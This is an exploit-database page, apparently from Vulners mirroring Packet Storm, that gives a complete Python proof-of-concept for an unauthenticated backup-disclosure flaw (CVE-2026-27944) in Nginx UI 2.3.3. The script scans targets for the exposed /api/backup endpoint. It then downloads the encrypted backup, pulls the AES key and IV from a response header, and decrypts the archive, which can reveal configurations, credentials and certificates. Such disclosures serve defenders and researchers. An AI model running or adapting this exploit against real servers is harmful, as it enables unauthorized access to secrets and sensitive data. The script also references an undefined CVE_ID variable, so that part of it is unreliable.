Lucene search
K

📄 Nginx UI 2.3.3 Unauthenticated Backup Disclosure / Decryption

🗓️ 11 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 189 Views

Nginx UI 2.3.3 unauthenticated /api/backup exposes encrypted backups and AES key/IV for decryption.

Related
Code
=============================================================================================================================================
    | # Title     : Nginx UI 2.3.3 Unauthenticated Backup Disclosure and Decryption                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://nginx.org/                                                                                                          |
    =============================================================================================================================================
    
    [+] Summary    : This Python proof‑of‑concept demonstrates an unauthenticated information disclosure vulnerability in Nginx UI tracked as CVE-2026-27944. 
                     The vulnerability allows a remote attacker to access the /api/backup endpoint without authentication and retrieve a backup archive of the server configuration.
                     The endpoint returns an encrypted backup along with a custom HTTP header (X-Backup-Security) that exposes the AES encryption key and IV encoded in Base64. 
    				 Because the cryptographic material is transmitted directly in the response headers, an attacker can easily download and decrypt the backup file, gaining access to sensitive configuration data.
    
    [+] The provided script supports two modes:
    
    scan – checks if the target server exposes the vulnerable /api/backup endpoint.
    
    exploit – downloads the encrypted backup, extracts the AES key and IV from the header, and decrypts the archive locally.
    
    Successful exploitation may lead to disclosure of Nginx configurations, credentials, certificates, or other sensitive data stored in the backup.
    			  
    [+] POC   : 
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import sys
    import os
    import logging
    import requests
    
    from requests.exceptions import RequestException
    
    logging.basicConfig(
        level=logging.INFO,
        format="%(levelname)s - %(message)s"
    )
    
    log = logging.getLogger(__name__)
    
    try:
        from Crypto.Cipher import AES
        from Crypto.Util.Padding import unpad
        CRYPTO_AVAILABLE = True
    except ImportError:
        CRYPTO_AVAILABLE = False
    
    def normalize_target(target):
    
        if not target.startswith(("http://", "https://")):
            target = "http://" + target
    
        return target.rstrip("/")
    
    
    def create_session(proxy=None, verify=True):
    
        session = requests.Session()
    
        session.headers.update({
            "User-Agent": "Mozilla/5.0 CVE-Scanner"
        })
    
        if proxy:
            session.proxies = {
                "http": proxy,
                "https": proxy
            }
    
        session.verify = verify
    
        return session
    
    def check_vulnerability(session, target, timeout=10):
    
        url = normalize_target(target) + "/api/backup"
    
        try:
    
            r = session.get(
                url,
                stream=True,
                timeout=(5, timeout),
                allow_redirects=False
            )
    
            if r.status_code != 200:
                return False, None, 0
    
            header = r.headers.get("X-Backup-Security")
    
            if not header:
                return False, None, 0
    
            size = int(r.headers.get("Content-Length", 0))
    
            return True, r.headers, size
    
        except RequestException as e:
    
            log.error(f"Connection error: {e}")
    
            return False, None, 0
    
    def download_and_decrypt(session, target, output_file, timeout=30):
    
        if not CRYPTO_AVAILABLE:
            log.error("pycryptodome required")
            sys.exit(1)
    
        url = normalize_target(target) + "/api/backup"
    
        try:
    
            r = session.get(
                url,
                stream=True,
                timeout=(5, timeout)
            )
    
            if r.status_code != 200:
                log.error(f"HTTP {r.status_code}")
                return False
    
            header = r.headers.get("X-Backup-Security")
    
            if not header:
                log.error("Header missing")
                return False
    
            try:
    
                key_b64, iv_b64 = header.split(":")
    
                key = base64.b64decode(key_b64)
                iv = base64.b64decode(iv_b64)
    
            except Exception:
    
                log.error("Invalid security header")
                return False
    
            if len(key) not in (16, 24, 32):
                log.error("Invalid AES key length")
                return False
    
            if len(iv) != 16:
                log.error("Invalid IV length")
                return False
    
            log.info(f"AES key length: {len(key)}")
            log.info(f"IV length: {len(iv)}")
    
            enc_file = output_file + ".enc"
    
            size = 0
    
            with open(enc_file, "wb") as f:
    
                for chunk in r.iter_content(8192):
    
                    if chunk:
    
                        f.write(chunk)
                        size += len(chunk)
    
            log.info(f"Downloaded {size} bytes")
    
            cipher = AES.new(key, AES.MODE_CBC, iv)
    
            with open(enc_file, "rb") as f:
                encrypted = f.read()
    
            try:
    
                decrypted = unpad(
                    cipher.decrypt(encrypted),
                    AES.block_size
                )
    
            except ValueError:
    
                log.warning("Padding failed, raw decrypt")
    
                decrypted = cipher.decrypt(encrypted)
    
            with open(output_file, "wb") as f:
                f.write(decrypted)
    
            os.remove(enc_file)
    
            log.info(f"Saved decrypted backup -> {output_file}")
    
            return True
    
        except RequestException as e:
    
            log.error(f"Network error: {e}")
    
            return False
    
    def main():
    
        parser = argparse.ArgumentParser(
            description=f"{CVE_ID} Scanner"
        )
    
        parser.add_argument(
            "--proxy",
            help="Proxy (ex: http://127.0.0.1:8080)"
        )
    
        parser.add_argument(
            "--no-verify",
            action="store_true",
            help="Disable SSL verification"
        )
    
        sub = parser.add_subparsers(dest="cmd", required=True)
    
        scan = sub.add_parser("scan")
        scan.add_argument("target")
    
        exploit = sub.add_parser("exploit")
        exploit.add_argument("target")
        exploit.add_argument("-o", "--output", default="backup.bin")
    
        args = parser.parse_args()
    
        session = create_session(
            proxy=args.proxy,
            verify=not args.no_verify
        )
    
        if args.cmd == "scan":
    
            log.info(f"Scanning {args.target}")
    
            vuln, headers, size = check_vulnerability(
                session,
                args.target
            )
    
            if vuln:
    
                log.info("Target appears vulnerable")
    
                log.info(f"Backup size: {size}")
    
            else:
    
                log.info("Target not vulnerable")
    
        elif args.cmd == "exploit":
    
            log.info(f"Running exploit against {args.target}")
    
            success = download_and_decrypt(
                session,
                args.target,
                args.output
            )
    
            if success:
    
                log.info("Exploit completed")
    
            else:
    
                log.error("Exploit failed")
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Mar 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.22162
SSVC
189